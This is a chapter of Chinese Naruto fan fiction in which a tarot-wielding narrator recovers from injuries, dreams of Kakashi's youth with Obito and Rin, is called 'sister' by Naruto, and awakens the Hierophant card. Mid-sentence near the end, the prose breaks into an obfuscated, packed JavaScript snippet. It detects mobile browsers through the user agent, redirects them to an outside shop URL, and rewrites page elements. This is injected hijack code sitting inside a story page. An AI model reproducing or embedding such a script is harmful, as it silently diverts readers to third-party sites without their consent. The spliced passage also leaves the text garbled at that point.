卡卡西盯着这张沾着泥点和点点血迹的塔罗牌,动作微微一顿。深邃的黑眸中,疑惑的光芒急剧闪动。他沉默地凝视了良久,仿佛想从这神秘的图案中解读出什么。最终,他什么也没说,只是默默地将这张牌捡起,用袖子擦去上面的泥污,然后小心地塞回了我的忍者包深处。这个动作,带着一种难以言喻的情感。 “她…她怎么样?卡卡西老师!” 鸣人连滚带爬地冲了过来,声音带着浓重的哭腔和无法抑制的急切。刚才战斗胜利的短暂喜悦早已被巨大的担忧所取代。 卡卡西的声音低沉而冷静,但语速比平时快了许多,透露出他内心的不平静 “头部受到重击,颅骨可能轻微骨裂,失血不少,需要静养观察是否有脑震荡。腰部是皮外伤,不算严重。” 他一边说,一边继续熟练地包扎着我腰间的伤口 “暂时没有生命危险,但必须尽快找到安全的地方进行休养和进一步治疗。” 他强调了“尽快”和“安全”。 鸣人听到“没有生命危险”这几个字,紧绷的身体像是瞬间被抽掉了所有骨头,整个人彻底瘫软下来,重重地坐在冰冷的泥地上,大口大口地喘着粗气。 然而,眼泪却再也控制不住,如同断了线的珠子,无声地汹涌而出。这是极度恐惧释放后的泪水,是失而复得的巨大庆幸,更是对同伴伤势的心疼和无力感。 佐助也默默地走了过来,他没有说话,只是安静地站在一旁。他紧抿着嘴唇,脸色依旧有些苍白,但那双漆黑的眼睛,却一眨不眨地看着卡卡西处理伤口,又落在我苍白昏迷的脸上。那眼神里的担忧,如同实质般清晰可见,虽然被他用惯有的冷淡外壳包裹着。 小樱扶着惊魂未定、腿脚发软的达兹纳先生,看着昏迷不醒的我,又看看瘫坐流泪的鸣人,再看看沉默守护的佐助和专注救治的卡卡西老师,她强忍着在眼眶里打转的泪水,用力吸了吸鼻子,努力让自己坚强起来。她知道,现在不是软弱的时候。 冰冷的、泥泞的战场边缘,昏迷的我脸色苍白如纸,呼吸微弱而急促。卡卡西老师单膝跪地,全神贯注地处理着最后的包扎,动作轻柔却带着不容置疑的坚定。 鸣人瘫坐在一旁,无声地流泪,肩膀微微耸动。 佐助沉默地伫立着,像一尊守护的石像,目光紧紧锁定。 小樱搀扶着达兹纳,努力挺直脊背,承担起照顾年长者的责任。 劫后余生的短暂平静里,弥漫着浓重的伤痛、深入骨髓的疲惫,以及一种在生死边缘共同挣扎、相互扶持后,悄然滋生的、无法言喻的……双重羁绊。 这羁绊,缠绕在第七班之间……与卡卡西身上 当卡卡西老师终于完成包扎,确认我的伤势暂时稳定后,一股强烈的眩晕感猛地袭来。过度使用写轮眼进行高强度复制和预判的巨大负荷,以及查克拉的严重消耗,如同潮水般反噬了他的身体。他的脸色瞬间变得极其苍白,眼前阵阵发黑。 “呃……” 他闷哼一声,身体不受控制地晃了晃,最终无力地向旁边倒去,沉重的身躯,恰好压在了我受伤的腰侧边缘。 “卡卡西老师!” 小樱和鸣人的惊呼同时响起。 卡卡西老师,也倒下了。 夕阳的最后一丝余晖,穿过被摧残得七零八落的树冠,斑驳地洒在这片狼藉的战场,洒在相互依靠、伤痕累累的众人身上。波之国的第一战,以惨烈的代价,暂时落下了帷幕。而前方的路,依旧被浓雾笼罩…… 13. 『查克拉的羁绊』 黑暗,粘稠而冰冷,包裹着下沉的意识。每一次心跳都像重锤敲打脆弱的颅骨,牵扯着腰侧火辣辣的伤口。冰冷与灼热在体内拉锯,将灵魂撕扯向无光的深渊。 然而,在这令人窒息的沉沦中,破碎的光影与声音,如同穿透厚重帷幕的微光,顽强地浮现。它们摇晃、失真,却散发着令人心碎又眷恋的暖意。这一次,伴随着光影而来的,是指尖滚烫的触感,和脑海中低回的、带着神秘韵律的低语——那是塔罗牌的指引…… 斑驳的阳光穿透叶隙,空气里弥漫着青草与泥土的清新。一个金灿灿的脑袋晃到眼前,笑容傻气却耀眼。 『嘿!旁听生!发什么呆呢!』 清朗的少年音带着促狭。 『再慢吞吞的,任务报告可要你自己写了!』 视野晃动,“我”笨拙地攀爬着树干,动作滑稽。树下,银发刺猬头少年抱着手臂,死鱼眼里满是嫌弃 『吊车尾就是吊车尾。』 『^:/,!你又欺负人!』 少女叉腰嗔怪,笑容温暖如春阳。 『别理他,慢慢来。』 『:/^说得对!^,/:你个混蛋!』 黑发少年立刻跳出来,护在“我”身前,挥舞拳头 『旁听生已经很努力了!不许你说她!』 画面聚焦在他阳光灿烂的脸上,护目镜推到额头,黑眸中是纯粹的维护。 『别怕!有我在呢!我可是要成为火影的男人!』 就在这温暖画面定格的瞬间,指尖传来灼热的触感!一张塔罗牌虚影在意识中无声浮现——『愚者(The Fool)』!牌面上,少年背着行囊,带着小狗,无畏地迈向悬崖边缘,脸上是天真与冒险的笑容。一股暖流伴随着牌意涌入心间: 无畏的开端、纯粹的信任、源自本能的守护。这感觉……与鸣人那不讲道理的保护姿态完美重合,仿佛他本身就是这张牌的化身。心口涌起暖流,却也夹杂着一丝命运无常的酸楚预兆。 下一瞬,场景在意识中轰然切换!铅灰色的苍穹如同灌满了铅,沉重得压垮了呼吸。冰冷的暴雨如同天神倾倒的怒火,无情地鞭笞着大地。脚下是湿滑冰冷的泥泞和锋利的碎石。空气中弥漫着浓重得化不开的铁锈味(血)、雨水的腥气,还有……一种深入骨髓的绝望。巨大的石梁断裂,浑浊的河水在峡谷中发出野兽般的咆哮。 『快走!别回头!』 黑发少年的嘶吼声穿透震耳欲聋的雨幕,嘶哑、急迫,带着一种令人心碎的决绝!那不再是平日的清朗,而是被恐惧和疯狂挤压变形的呐喊。 视野被一股强大的力量强行拽着向前奔跑,踉跄着,每一步都溅起冰冷的泥浆。余光瞥见——银发刺猬头正被一个如同山岳般魁梧、周身散发着恐怖查克拉波动的敌人死死缠住!苦无相交的刺耳尖鸣在雨声中格外惊心! 他的一只眼睛……猩红得如同泣血!是写轮眼!雨水冲刷着他苍白的脸,露出的那只眼睛里充满了前所未有的凝重和……一丝绝望的疯狂! 『,,/.!』温柔少女带着哭腔的呼喊充满了无助。 『,,——~!带她走!快!这是命令!』 银发少年的怒吼如同惊雷炸响,带着不容置疑的急迫。 拉扯着“我”的力量猛地加大!身体不受控制地被拖着向前。然而,就在被迫转身的刹那,视线穿过密集冰冷的雨帘,模糊却清晰地捕捉到了那个身影——……! 他背对着我们,独自一人,面对着那散发出令人窒息压迫感的恐怖敌人!他的背影在瓢泼大雨和敌人巨大的阴影下,显得那么单薄,那么渺小,却又那么……义无反顾!像一只扑向烈焰的飞蛾! 『混账东西!』 黑发少年朝着那山岳般的敌人发出了困兽般的咆哮,声音因为极致的愤怒和深入骨髓的恐惧而完全扭曲,却带着一种破釜沉舟、燃烧生命的疯狂! 『我在看着呢!』 这句话,仿佛是他最后的战吼,也是他对同伴的承诺——他在用生命为我们争取时间! 就是现在!梦境中的“我”心脏如同被一只冰冷的手狠狠攥住! 不能走!不能把他一个人丢在这里! 一股源自灵魂深处、比恐惧更强烈的冲动——那份在现实中也无法抑制的“保护鸣人”的肌肉记忆——在梦境中彻底爆发!它压倒了少女的拉扯,压倒了银发少女的命令,压倒了本能的求生欲! 『你冲过来发什么呆!会死的!』 这声曾在现实中如幻听般响起的、带着惊怒的咆哮,此刻在梦境中变得无比清晰!它带着少年变声期特有的沙哑和撕裂般的焦急,如同重锤般狠狠砸在“我”的耳膜上!是黑发少年对着想要冲回去的“我”吼出的!是警告,更是恐惧——恐惧“我”的死亡! 但梦境中的“我”置若罔闻!身体比思维更快!猛地挣脱了少女的手(那力量在梦境中显得如此微弱),转身,用尽全身的力气,向着那片死亡风暴的中心——向着黑发少年的背影——不顾一切地冲了回去!冰冷的雨水打在脸上生疼,脚下的泥泞几次让我几乎摔倒,但一股莫名的力量支撑着我! 『笨蛋!回去啊!』 黑发少年似乎感应到了,发出了更加凄厉的怒吼,甚至带着一丝哭腔。但他无法分心,敌人巨大的拳头裹挟着毁灭性的查克拉,撕裂雨幕,朝着他当头砸下!速度太快!力量太强!带土瞳孔骤缩,勉强架起苦无格挡,但那无疑是螳臂当车! 千钧一发! 就在那毁灭性的拳头即将砸碎黑发少年头颅的瞬间,梦境中的“我”终于冲到了他侧后方!没有时间思考!没有时间犹豫!身体里某种沉睡的东西被极致的危机和守护的执念猛然唤醒! 右手猛地探入腰侧的忍具包!指尖触碰到的不再是冰冷的苦无,而是那叠滚烫的塔罗牌!无需寻找,一张牌如同拥有生命般自动跃入掌心!灼热!滚烫!仿佛握着一块燃烧的炭火!剧烈的灼痛感从掌心瞬间蔓延至整条手臂! 抽牌!高举! 动作一气呵成,带着一种近乎献祭般的决绝!被高举在雨幕中的塔罗牌,牌面正对着那毁灭性的拳头和黑发少年绝望的背影——正是那张在现实中曾疯狂发烫的牌:『力量(Strength)』! 牌面在暴雨中爆发出刺目的金色光芒!那光芒并非实体,却仿佛穿透了梦境与现实,瞬间驱散了周围一小片区域的雨幕阴霾!牌面上,那位柔美而坚毅的女性虚影仿佛活了过来,她的目光穿透牌面,带着无上的慈悲与绝对的威严,看向那狂暴袭来的敌人! “以心御力!镇!”一个不属于“我”、古老而威严的女声,仿佛从牌中、从灵魂深处、从宇宙洪荒传来,在“我”的脑海中轰鸣! 轰——! 一股无形的、磅礴的、柔韧如山岳般的力场以高举的塔罗牌为中心猛地扩散开来!它没有硬撼那毁灭性的拳头,而是如同最坚韧的藤蔓、最温柔的流水,瞬间缠绕、包裹、迟滞了那恐怖拳势的每一个狂暴的分子! 敌人那山崩地裂般的攻击,仿佛陷入了一片粘稠无比的金色沼泽,速度骤然减缓,威力被层层削弱!黑发少年感觉压向自己的死亡阴影瞬间一轻! 然而,代价瞬间降临! 『噗——!』 梦境中的“我”如遭重击!仿佛那被牌力强行“驯服”的狂暴力量,有一部分直接反噬到了施术者身上!一口滚烫的鲜血从喉头狂喷而出,染红了面前冰冷的雨水和泥泞! 高举『力量』牌的右臂,传来令人牙酸的“咔嚓”骨裂声!剧痛如同千万根烧红的钢针,瞬间刺穿了整条手臂,直冲大脑!身体像是被无形的巨锤狠狠砸中,不受控制地向后倒飞! 视线在剧痛和眩晕中模糊、摇晃。 最后的画面,定格在少年猛然回头的瞬间! 雨水疯狂冲刷着他脏污不堪的脸颊,护目镜歪斜滑落,露出的那只眼睛里——不再是平日的阳光和傻气,而是燃烧着一种如同地狱熔岩般的、混合着极致震惊、难以置信、以及一种被深深灼伤的……毁灭性的痛苦! 那眼神,锐利得能刺穿灵魂,绝望得如同深渊,却又燃烧着一种被彻底点燃的、不顾一切的光芒! 『你!……』 他的嘴唇翕动,似乎想说什么,但声音被淹没在暴雨和反噬的痛苦中。那眼神,比敌人的拳头更具冲击力,像一把烧红的烙铁,狠狠烫进了“我”濒临破碎的意识最深处! 紧接着,是彻底吞噬一切的黑暗,和无边无际的剧痛。右臂的骨裂,内脏的翻腾,灵魂仿佛都被那反噬的力量撕扯开来。唯有掌心残留的、『力量』牌灼热的印记,和带土那双燃烧着痛苦与火焰的眼睛,成为了沉入黑暗前最后的烙印。 疼痛稍缓,场景转换。温暖的篝火噼啪作响,驱散寒意。裹着干燥的毯子。银发少年闭目靠墙,眉头紧锁。少女正为他手臂的深伤涂抹药膏,动作轻柔。火光映着她担忧的侧脸。 黑发少年坐在稍远的阴影里,背对众人。左臂扭曲,缠满渗血的绷带。他低着头,肩膀耸动,压抑着破碎的抽泣。空气沉重,弥漫着药味、血腥和无声的悲伤愤怒。 『吊车尾们还活着呢?』 卡卡西沙哑疲惫的声音响起,死鱼眼瞥向阴影,冷淡中藏着一丝庆幸。 阴影里的身影一僵,抽泣声更破碎。 少女添了根柴,欲言又止。 『喂……』 “我”想开口安慰。 『闭嘴!』 黑发少年猛地低吼,带着浓重鼻音和哽咽。 『都是……都是因为我太弱了……』 他狠狠擦眼。 『如果……如果我更强一点……,,/:的眼睛……旁听生就不会……』 银发少年的声音再次响起,带着别扭的安抚。 『别自怨自艾。活着,就有机会变强。』 阴影里的黑发少年身体剧颤,猛地转头!火光映亮他泪痕泥污的脸,那只完好的眼中,燃烧着痛苦、屈辱和无比坚定的决心之火! 『我一定会变强!』 他嘶吼,声音沙哑斩钉截铁,『强到足以保护所有人!强到再也不会让同伴受伤!我发誓!以我……之名发誓!』 誓言如雷,烙□□间。 就在这时,一种奇异的悬停感降临。仿佛时间被拉长。一张塔罗牌虚影在篝火与泪眼之间缓缓旋转浮现——『倒吊人(The Hanged Man)』!牌面上的人倒悬于树,神情平静,甚至带着觉悟。 牌意流淌:牺牲的觉悟、不同的视角、被束缚中的等待与启示。看着黑发少年泪流满面却立下重誓的脸,『倒吊人』的牌意仿佛在解读他此刻的心境:为了“保护”这个终极目标,他甘愿承受一切痛苦(倒悬)、甚至不惜颠覆自己(视角转变)。 这份沉重到扭曲的觉悟,与那掷地有声的誓言交织,让梦境中的“我”感到一阵窒息般的心悸。『吊车尾们还活着呢?』银发少年的话,此刻听来竟像一句残酷的箴言,指向一个充满牺牲与执念的未来。 『你冲过来发什么呆!会死的!』 『吊车尾们还活着呢?』 这些声音、这些画面、这些灼热的牌意(『愚者』的天真守护、『力量』的狂暴与驾驭、『倒吊人』的牺牲觉悟)在黑暗的识海中疯狂旋转、碰撞、撕裂!黑发少年在月光下的傻笑、雨幕中绝望的嘶吼、篝火旁泣血的誓言……银发少年的冰冷与别扭的关怀……少女的温柔与担忧……以及“我”自己的无措、依赖、想守护别人的心……全部被塔罗牌的神秘力量串联、解读、放大! 混乱!头痛欲裂!现实的伤口与梦境的共感痛苦叠加!『女祭司』的虚影似乎在意识深处一闪而过,带来一丝冰冷的清明,却又被更汹涌的混乱淹没。一种强烈的排斥力要将我推出这痛苦的记忆漩涡! “呃啊——!” 剧烈的痛苦终于冲破了意识的牢笼,一声呻吟溢出喉咙。 黑暗如潮水退去,刺目晃动的光影和模糊却惊喜的呼喊声涌入: “醒了!她醒了!” 是小樱带着哽咽的惊喜呼喊,她翠绿的眼眸里满是如释重负,正小心地检查我腰侧的绷带。 “你……你,感觉怎么样?” 鸣人的声音最大,几乎是扑到了床边,那头标志性的金发在眼前晃动着,脸上混杂着巨大的喜悦和未散的惊恐。他湛蓝的眼睛瞪得圆圆的,急切地上下打量我,仿佛在确认我真的回来了。 佐助站的稍远一些,带着一贯的冷静,但紧绷的下颌线泄露了他的紧张。他站在鸣人身后,黑眸紧紧锁在我脸上。 剧烈的头痛和腰间的刺痛依旧清晰,每一次呼吸都牵扯着伤处。我艰难地转动眼珠,视线越过鸣人灿烂的金发,落在旁边另一张病床上。卡卡西也躺在那儿,脸色苍白,闭着眼睛,胸口随着呼吸微微起伏,显然写轮眼用得太多,还未苏醒。看到他也在,心底那丝奇怪的感觉,似乎又真切了几分。 “鸣人…佐助…小樱…” 我试图开口,声音沙哑得如同砂纸摩擦。 “别说话!你需要休息!” 小樱立刻制止,动作麻利地递过水杯,用棉签小心地湿润我干裂的嘴唇。 鸣人却像是没听见,他的激动显而易见,但更多的是一种后怕 “吓死我了!真的吓死我了!…我以为…我以为…” 他的声音哽住了,双手不自觉地握成了拳,身体微微发着抖。那个为他们争取机会、解救卡卡西老师、靠在树上低垂着头的人,似乎也烙印在了他的恐惧里。他猛地抓住我床单的一角,指节用力到发白,仿佛这样才能确认我的存在。他低下头,金发垂落遮住了部分眼睛,声音变得又轻又颤,带着一种孩子气的、从未在他身上显露过的脆弱 “姐……你差点……不要那样了……好不好?” 那声“姐”轻得像一片羽毛,却重重地砸在我的心上。这声呼唤并非突如其来。是那些日复一日递到他手里的便当,是训练场上默默递过去的毛巾和水,是每一次他受伤时笨拙却认真的包扎,是在他失落时笨拙却坚定的“我相信你”。 在他孤独的世界里,这份不求回报的、带着包容的照料与认可,早已在他心中悄悄种下了依赖。这一刻,在濒临失去的恐惧面前,“姐姐”这个带着血缘般亲昵与守护意味的称呼,便如同本能般脱口而出——那是他内心深处对这份温暖的回应与确认。 空气似乎凝滞了一瞬。鸣人似乎也被自己脱口而出的称呼惊到,耳朵尖迅速泛红,但抓着我床单的手却没有松开,反而更紧了,像是怕我消失。 心口被一种陌生的酸软和巨大的悲伤击中。这声呼唤,似乎与梦境里那个在月光下傻笑、在雨幕中嘶吼、在篝火旁立誓的黑发少年的某个瞬间重叠了。 不是为了保护他而留下的“姐”,而是他害怕失去时本能呼唤的“姐”。我费力地抬起没受伤的左手,轻轻覆在他紧握床单的手背上,触感冰凉。 “……嗯。” 喉咙里只能挤出这样一个模糊的音节,带着安抚的意味。 鸣人像是得到了某种保证,紧绷的肩膀微微放松,但眼中的惊悸仍未完全散去。 “行了,鸣人。” 佐助的声音打破了这过于沉重的氛围,他走上前一步,语气带着一丝不易察觉的别扭关心 “她需要安静。卡卡西老师也需要休息。” 他瞥了一眼旁边病床上依旧沉睡的银发上忍。 小樱也迅速帮我擦了擦脸颊说道 “没错!鸣人,我们在这里待太久会影响他们恢复。特别是卡卡西老师,他的查克拉消耗很大。” 她转向我,眼神温柔而坚定 “你感觉怎么样?除了头痛和腰伤,还有哪里特别不舒服吗?” 我摇摇头,头颅沉重得无法支撑剧烈的动作,哪怕现在躺在柔软的枕头上,声音依旧沙哑 “…还好…就是…有点累…想…安静一下…” 目光意有所指地扫过鸣人依旧抓着我床单的手,以及他们三人。 鸣人立刻像被烫到一样松开了手,脸上带着点窘迫和担忧。 “明白了!我们这就出去,就在门外,有任何不舒服立刻叫我们!” 小樱拉起还有些犹豫的鸣人,佐助也默默转身。 “…你好好休息…” 鸣人走到门口,又忍不住回头,小声补充了一句,才被小樱轻轻推了出去。房门被小心地关上,隔绝了外面的声音,只剩下旁边卡卡西均匀而稍显沉重的呼吸。 房间里骤然安静下来。窗外的阳光斜斜照入,尘埃在光柱中飞舞。梦境的碎片——阳光下的嬉闹、暴雨中的嘶吼、篝火旁的誓言、那双燃烧着痛苦与火焰的眼睛、『愚者』的纯粹、『力量』的爆发、『倒吊人』的沉重——如同潮水般再次冲刷着疲惫的意识。它们如此真实,带着血肉的温度和泥土的腥气,绝不仅仅是幻影。 我的目光转向旁边病床上的卡卡西。他银色的发丝略显凌乱,护额歪斜了一些,露出紧闭的左眼和下方深刻的泪沟。那张总是被面罩遮掩大半、显得懒散或淡漠的脸,此刻在沉睡中褪去了所有伪装,只剩下重伤后的脆弱和一种…难以言喻的疲惫沧桑。 “……卡卡西老师?” 我试探着,声音很轻,不确定他是否真的睡着了,还是像我刚才一样,只是意识沉浮。 他浓密的银色睫毛颤动了一下,缓缓睁开。那只露出的右眼,瞳孔在适应光线后聚焦,带着一丝刚醒的迷茫,随即转向我,眼神恢复了平日的慵懒,但深处却藏着一丝不易察觉的探询和…我平安的惊喜? “哟…” 他的声音沙哑低沉,带着耗费大量查克拉以及过度使用写轮眼的疲惫感 “感觉…如何?旁听生…” 他念出这个称呼时,尾音似乎带着一丝微妙的停顿。 听到这个称呼,心脏猛地一缩。梦里那个银发刺猬头少年嫌弃又别扭的声音仿佛就在耳边。我看着他,看着眼前这个伤痕累累的拷贝忍者卡卡西老师,梦境与现实之间的壁垒似乎薄得像一层纸。 “……做了一个…很长的梦…” 我斟酌着词句,视线没有离开他那只深邃的眼睛 “…混乱…痛苦…但…很真实…” 卡卡西静静地看着我,没有催促,右眼中似乎有极其复杂的光影掠过,快得让人抓不住。 “梦里…有阳光…有树…有吵闹的少年…” 我慢慢地说,声音带着梦境残留的虚弱和困惑 “…有冰冷的雨…巨大的敌人…绝望的嘶吼…还有…篝火…和…沉重的誓言…” 每一幕闪过,都牵扯着神经的抽痛。 卡卡西的呼吸似乎停滞了一瞬,那只露出的眼睛瞳孔几不可察地收缩了一下,目光变得更加幽深。他放在被子上的手指微微蜷缩了一下。 “梦里…好像也有你吧,或者是佐助……?” 我看着他的反应,终于说出了最核心的感受,带着一种近乎荒谬的笃定 “还有……鸣人…小樱…感觉…很奇怪…”我顿了顿,组织着混乱的思绪,梦境里黑发少年那句嘶吼——“会死的!”——和现实中鸣人一次次奋不顾身的背影重叠。 “卡卡西老师……我们是不是认识?” 这句话问出来,连我自己都觉得不可思议。失忆像一片浓雾,而那个梦,却像雾中透出的、来自遥远过去的灯塔微光,指向一个模糊却无法忽视的坐标。我看着卡卡西,试图从他脸上找到一丝印证或否定。 病房里陷入一片沉寂。只有我们两个陈芝麻的呼吸声。窗外的光线似乎移动了一点,将卡卡西半边脸笼罩在阴影里。他沉默了很久,久到我以为他又昏睡过去,或者根本不想回答这个荒谬的问题。 终于,他那只露出的右眼缓缓眨动了一下,目光移向天花板,声音低沉得如同叹息,带着一种穿透岁月的疲惫和某种难以言喻的沉重 “……查克拉…是有记忆的…尤其…当它刻骨铭心的时候。” 他没有直接回答我的问题,却给出了一个属于忍者世界的、玄妙而晦涩的答案。他的左手轻轻抬起,似乎想触碰额头的护额,最终却只是无力地落在被子上。 “好好休息吧…别想太多。” 他最后说道,闭上了眼睛,仿佛刚才那句意味深长的话已经耗尽了他所有力气。 留下我独自躺在病床上,咀嚼着那句“刻骨铭心的查克拉记忆”。 阳光照在脸上,却感觉不到暖意,只有指尖残留的、属于塔罗牌的幻痛,和卡卡西那句低语,在寂静的病房里无声地回响。那破碎的梦境,那些灼热的牌意,那些似曾相识的面孔…它们指向的过去,究竟是什么? 而我和这个总把《亲热天堂》挂在手上的的银发男人,以及那个阳光般灿烂、会脆弱地叫我“姐姐”的少年,又究竟被怎样的命运丝线缠绕着?失忆的迷雾似乎裂开了一道缝隙,透出的却不是光明,而是更深邃、更沉重的未知。 …… 大概过去了一周的时间,我和卡卡西老师相继恢复。卡卡西老师比我还快些,毕竟主要是查克拉透支和精神损耗,不像我这“脑震荡”患者(虽然或许鸣人过度紧张的照顾和卡卡西老师默许的“静养令”也功不可没)。 那个奇异的梦境,始终如影随形,萦绕在脑海深处。我清晰地知道,自己和鸣人、佐助、小樱从未经历过那些事,属于剧情的记忆里也寻不到丝毫痕迹。然而,不知为何,现在面对卡卡西老师时,总有一种挥之不去的、莫名的熟悉感,像隔着毛玻璃看一个模糊的旧影。 几天前,卡卡西老师就提出了他的推测:再不斩并未死亡。理由很简单——忍者处理尸体通常就地解决,极少有特意带走的。鸣人得知这个消息,犹如晴天霹雳,他恶狠狠地咬着牙,眼中燃起熊熊怒火 “下一次,我一定要亲手替你报仇!” 也正因为再不斩的威胁犹在,短时间内卡卡西老师无法再承受长时间高强度的战斗。于是,他提出了那个决定:第七班全员进行特训。 我躺在床上,静静听着。剧情并未因我的干预而偏离轨道,这让我心底涌起一股难以言喻的欣喜。或许……我真的可以……让所有人幸福的结局不再是奢望? 当我第五次强硬地要求加入特训,并成功“威逼利诱”了鸣人一番后,他才勉强松口,条件是——只能观看。许久未活动的身体此刻摇摇晃晃,好不容易在搀扶下站稳。 鸣人却又显出几分后悔。自从那次无意识喊出“姐姐”之后,他似乎就认定了这个称呼。虽然有些突然,但想到那些日常点滴的照料和笨拙的关心,他此刻的依赖似乎也有了源头。不过……既然是鸣人,由着他去吧。 我伸出手,象征性地敲了他一下(力度跟挠痒差不多),催促道 “快点带路啦!” 他捂着头,那副委屈又无奈的样子,像极了当初在水门事件后的某个瞬间。他瘪瘪嘴,小声嘀咕 “要是被卡卡西老师或者佐助小樱他们骂了,姐你可一定要帮我说话啊……” “好好好——” 我拖长了声音应道。 …… 等我和鸣人抵达训练场时,佐助和小樱早已练习了许久。卡卡西老师悠闲地靠在一旁的树干上看着,之前还拄着的拐杖已不见踪影。 我抬起头,目光扫过在高处树枝上晃着脚丫的小樱,以及树下正苦练不辍的佐助。那棵粗壮的大树树干上,刻满了深浅不一的划痕。不远处,还有一棵同样“伤痕累累”的树——不用想,定是鸣人的“杰作”。 鸣人把我安置在卡卡西老师眼皮子底下,便迫不及待地冲向“自己的”那棵树,加入了练习。他和佐助如同较劲般,谁也不服谁,都在拼命证明谁才是第一,谁才更强。 我望着鸣人努力攀爬、专注凝练查克拉的身影,那金色的发丝在阳光下跳跃,又一次与记忆中某个模糊却温暖的影子重叠。我仿佛陷入了记忆的漩涡,一时难以挣脱,直到卡卡西老师用他那本标志性的《亲热天堂》在我眼前晃了好几下,才将我拉回现实。 “在想什么?”他懒洋洋的声音传来 “没什么……”我定了定神,“我能加入他们吗?” 卡卡西老师沉默片刻,没有直接回答。他伸出手,轻轻盖在我的头顶,然后很自然地探入我腰侧的忍者包,抽出了那厚厚一叠塔罗牌。他将牌拿在手中掂了掂,目光落在牌背上,然后随意地抽出一张,轻轻盖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16575533|187090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在了我的额头上。 “试试看,” 他的声音带着一种罕见的认真,右眼中流露出一丝难以分辨的情绪——是疲惫?还是某种深藏的期待? “用你的查克拉,注入到牌里。” 查克拉……调动……我依言闭上眼,平稳呼吸,努力感受着体内那微弱而稀薄的能量流。 不对……感觉不太一样。不像纯粹的查克拉流动,更像是……精神力的凝聚?这感觉让我瞬间想起了在现实世界,呼唤“教皇先生”后抽牌时的情景。 【教皇先生……教皇先生……】 我在心中默念。 额头上覆盖的牌面骤然发烫!我猛地睁开眼睛,盯着它——它回应了!再一次回应了!就像毕业考试那次一样……也就是说…… 我立刻看向卡卡西老师。他正微微发怔,视线似乎落在手里的《亲热天堂》上,又似乎是在看着我出神。那副神情仿佛在说:你看,很简单不是吗?——当然,前提是忽略他那本快被捏皱的书角。 我从他手中接过那张牌。牌面赫然映入眼帘——『教皇(The Hierophant)』。 我再次将目光投向训练中的鸣人和佐助。他们仿佛不知疲倦的机器,一次次凝练查克拉,攀爬,跌落,再凝练,再攀爬。汗水浸湿了他们的额发,喘息声清晰可闻,但眼中的火焰却未曾熄灭。一阵微凉的风拂过我的发梢。鸣人背对着阳光,汗水沿着他的下颌滑落,却对着旁边同样气喘吁吁的佐助,露出了一个充满自信与张扬的笑容。 那笑容,如同划破阴霾的阳光。 已经记不清鸣人他们训练了几天。只记得每个深夜归来,饭桌上总会上演争抢食物的“大战”,美其名曰——为了更强。 微风拂过训练场,裹挟着树叶的清新与泥土的微腥。我倚靠着身旁粗壮的树干坐下,腰侧的伤口在移动后泛起隐隐的钝痛,尚在忍耐范围之内。目光投向场地中央,那两棵巨树如同沉默而威严的考官。 佐助的身影宛如一道黑色的电光,一次又一次疾射向树干。他的动作精准而高效,每一次蹬踏都伴随着稳定的查克拉光晕在足底亮起,身体几乎与树干平行,稳定地向上攀升。树干上那道几乎触及顶端的刻痕,是他无声实力的宣言。他眼神锐利,薄唇紧抿,任凭汗水沿着冷峻的侧脸滑落,整个人沉浸在挑战极限的专注里,心无旁骛。 相比之下,鸣人则像一股裹挟着喧嚣的金色风暴。他“啊啊啊”地大吼着,气势汹汹地冲向属于他的那棵树,足底的查克拉光晕却忽明忽灭,如同他此刻焦躁难安的心绪。他冲得迅猛,然而查克拉的凝聚与持续输出远不如佐助稳定。往往攀至半途,脚下的光芒便“噗”地溃散,将他狼狈地摔落尘埃。 “可恶!混蛋佐助!” 鸣人灰头土脸地爬起,胡乱抹去脸上的汗水和泥渍,不甘地瞪视着佐助那道刺目的刻痕,又看看自己树干上那些散乱、最高仅及中段的划痕,湛蓝的眸子里燃烧着不屈的火焰。 “我才不会输给你!” 他深吸一口气,再次鼓足干劲,埋头冲上。这一次,他尝试放缓节奏,笨拙却无比认真地感受着脚底查克拉的流动,努力调整着。 望着他那股永不言弃的倔强背影,心头微软。无论是阳光下灿烂的笑靥,还是此刻摔得灰扑扑却依旧奋力前冲的模样,都让我感到一种穿透时光尘埃的熟悉与安心,仿佛与梦境深处某个同样执拗不屈的身影悄然重合。 收回目光,我轻轻吁了口气。卡卡西老师的话语在耳边回响:试试用你的查克拉注入到牌里。垂眸凝视着手中的『教皇』牌。牌面上,教皇端坐,手握权杖,散发着秩序、智慧与内在引导的庄严意蕴。这力量似乎并非纯粹的查克拉具现,更像是一座精神力的桥梁。 阖上双眼,努力屏蔽周围的喧嚣——鸣人的呼喊、佐助蹬踏树干的闷响、风过林梢的沙沙声。意识沉潜,尝试调动体内那股微弱而陌生的力量。它并非传统忍者提炼的查克拉,更像是一种源自灵魂深处的、更为缥缈的涓流。 【教皇先生……教皇先生……】 我在心底无声地呼唤,如同在现实世界中无数次做过的那样。将意念,将那份渴求理解、寻求沟通、祈望指引的强烈意愿,小心翼翼地导向紧握的纸牌。 嗡…… 一种微弱的共鸣感自牌面传来!指尖下的牌身仿佛被赋予了生命,微微发烫,驱散了纸质的冰凉。我蓦然睁眼,清晰地捕捉到一股微弱却切实存在的精神力波动自牌面荡漾开来,如同投入静谧湖心的一颗石子。 成功了!尽管波动细若游丝,但这确凿无疑是回应! 我下意识地望向卡卡西老师。他手中的《亲热天堂》书页似乎许久未曾翻动,露出的那只右眼正定定地注视着你,或者说,凝视着你手中那张仿佛在低语的神秘纸牌。 那眼神褪去了惯常的慵懒,掺杂着一丝极淡的讶异,一丝探究,以及……一种难以名状的复杂情绪,像是目睹了某种意料之外却又在情理之中的事物。他察觉到你的视线,迅速将目光移回书页,但那瞬间的失神,以及书页边缘被他无意识捏出的细微褶皱,都未能逃过你的眼睛。 他仿佛在无声地说:看,这份力量,本就与你共生。 